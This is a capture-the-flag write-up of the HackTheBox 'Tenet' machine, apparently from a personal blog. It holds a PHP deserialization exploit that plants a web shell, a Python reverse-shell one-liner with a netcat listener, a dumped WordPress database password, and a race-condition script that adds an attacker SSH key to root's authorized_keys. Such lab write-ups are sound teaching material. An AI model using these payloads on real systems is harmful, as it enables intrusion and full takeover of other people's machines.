HackTheBox - Tenet write up
5 min read

HackTheBox - Tenet write up

HackTheBox - Tenet write up

Tenet is a medium Linux box.


As always, let's start with a nmap scan.

$ nmap -p- -A -oN scan.nmap

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Let's check the port 80 under Apache2.


Apache default page, hmm interesting. Let's use gobuster to find some new pages.

$ gobuster dir -w /opt/directory-list-lowercase-2.3-medium.txt -t 30 -q -x php,html --url

/index.html           (Status: 200) [Size: 10918]
/wordpress            (Status: 301) [Size: 316] [-->]

Oh ! We have a wordpress endpoint. Let's visit it !


To properly load static files like CSS, images we need to add tenet.htb to our /etc/host file. There is a reverse proxy behind the webserver via VHOST, so is equals to http://tenet.htb.

After looking around the Wordpress I find this interesting comment posted by the user neil.

Let's find the sator PHP file and the backup, here it is !


class DatabaseExport
	public $user_file = 'users.txt';
	public $data = '';

	public function update_db()
		echo '[+] Grabbing users from text file <br>';
		$this-> data = 'Success';

	public function __destruct()
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';
	//	echo 'Gotta get this working properly...';

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

$app = new DatabaseExport;
$app -> update_db();


This programm unserialize the data we send to it without checking the validity of our input.

$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);

The __destruct() method is called when there are no more references to an object that you created or when you force its deletion.
So, we can create an instance of DatabaseExport, then, the __desctruct() method will be called with our attributes (user_file and data).

	public function __destruct()
		file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
		echo '[] Database updated <br>';

We now can create or write on files, let's crack our payload.


class DatabaseExport
	public $user_file = 'hello.php';
	public $data = '<?php echo system($_REQUEST[cmd]); ?>';

$de = new DatabaseExport();
echo serialize($de);
$ php exploit.php

O:14:"DatabaseExport":2:{s:9:"user_file";s:9:"hello.php";s:4:"data";s:37:"<?php echo system($_REQUEST[cmd]); ?>";}

As you can see the PHP script echo "Database updated" twice, one for our unserialized input variable and the one for the $app variable. We now can execute command at<OUR_COMMAND>.

Reverse shell :

Visit -> -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

xanhacks ~ $ nc -lvnp 4444
Connection from
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c "import pty;pty.spawn('/bin/bash')"


After enumerating the box, I found credentials in a wordpress config file.

www-data@tenet:/var/www/html/wordpress$ cat wp-config.php | grep define
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8mb4' );
define( 'DB_COLLATE', '' );
define( 'WP_HOME', 'http://tenet.htb');
define( 'WP_SITEURL', 'http://tenet.htb');

There is only one user on the box, named neil. Let's check if the DB password is reused.

www-data@tenet:/var/www/html/wordpress$ su neil
Password: Opera2112

neil@tenet:/var/www/html/wordpress$ cd
neil@tenet:~$ cat user.txt


neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

neil@tenet:~$ ls -al /usr/local/bin/enableSSH.sh
-rwxr-xr-x 1 root root 1080 Dec  8 13:46 /usr/local/bin/enableSSH.sh

We can run enableSSH.sh with sudo but we cannot modify it, sad.


checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"


		/bin/echo "Error in adding $sshName to authorized_keys file!"



checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1



addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName) # rw-rw-rw

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName


key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

This script create a temporary file, write the SSH public key ($key) in it, then cat this temp file and append its content to /root/.ssh/authorized_keys. To exploit this script we need to make a race condition.

When the script create the temp file, we can add our SSH pub key in it, then the programm will add our public key to /root/.ssh/authorized_keys.

neil@tenet:/dev/shm$ cat infinite.sh

while true
    sudo /usr/local/bin/enableSSH.sh
neil@tenet:/dev/shm$ cat race.sh

key="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVcJwgxtDcbUaL7y2iXScfo/I7miXmvYWCw0eWqop1QfZknF2RVM2GZ8P5nLcUIKruWbhHfgY6GNCixyGwwNTcA8s9pk0OwC2XIM9hWxdNaJ1TJo+0vwC/duC+N6B6ZGjl0bjKZWxGxrwhO9j2xDamn/HU0g8OMt9mgxeJARxEqYVq8+9BHPhuskwXYK0pxh+7H3pkNCgH3p7GiHb7h42eDc2OVwi2ZdHatglM6JinoRD4FWnHnxDcZeUk9ynlWyvdlN49sKUOlmlMMkbLJJjL7SiBO44zGbTErZqAhraEzMkDueZj49eP6kjkF9LAoWnKrIBDOf92A8pI+kHaEZNRS3W/IGBDTRNYsWM0dUMKqe8FsHnC5NqpwY53D2rGky105PIHokPyVBnh8SEyHgSm7dKoG28aQIdZDL0VDr3z+4NGNBIhS9YzgCksb4SfB6gFwirphlQ9PHRe6ctB7gOgdFiQ26RkIIyIZ3G9mFiUGXJHVHFcQdxgU/hYfYZlAFlh9Wt8EPG2NqRxDVWh8WT3GTxhpDFEBE4vGzUaqb/FzZb4LXT7Sipd4dvbTRfV7B08g0kHX1f3+9UVGvaHWfWqCP/uM3LCuxgff7QM8jNRfIqPlKE8bNxuDnvxyEWq9bItec4heDhViPJQiAflcJNli7gTxbvoBnuIdt6p9KD8vw=="

while true
    for file in /tmp/ssh-*
	echo $key >> $file 2>/dev/null && echo "Done !";

I run this two scripts and my SSH key has been added instantly.

xanhacks ~$ ssh root@ -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
Last login: Mon Jan 25 15:34:36 2021 from
root@tenet:~# id
uid=0(root) gid=0(root) groups=0(root)
root@tenet:~# cat root.txt 

Enjoying these posts? Subscribe for more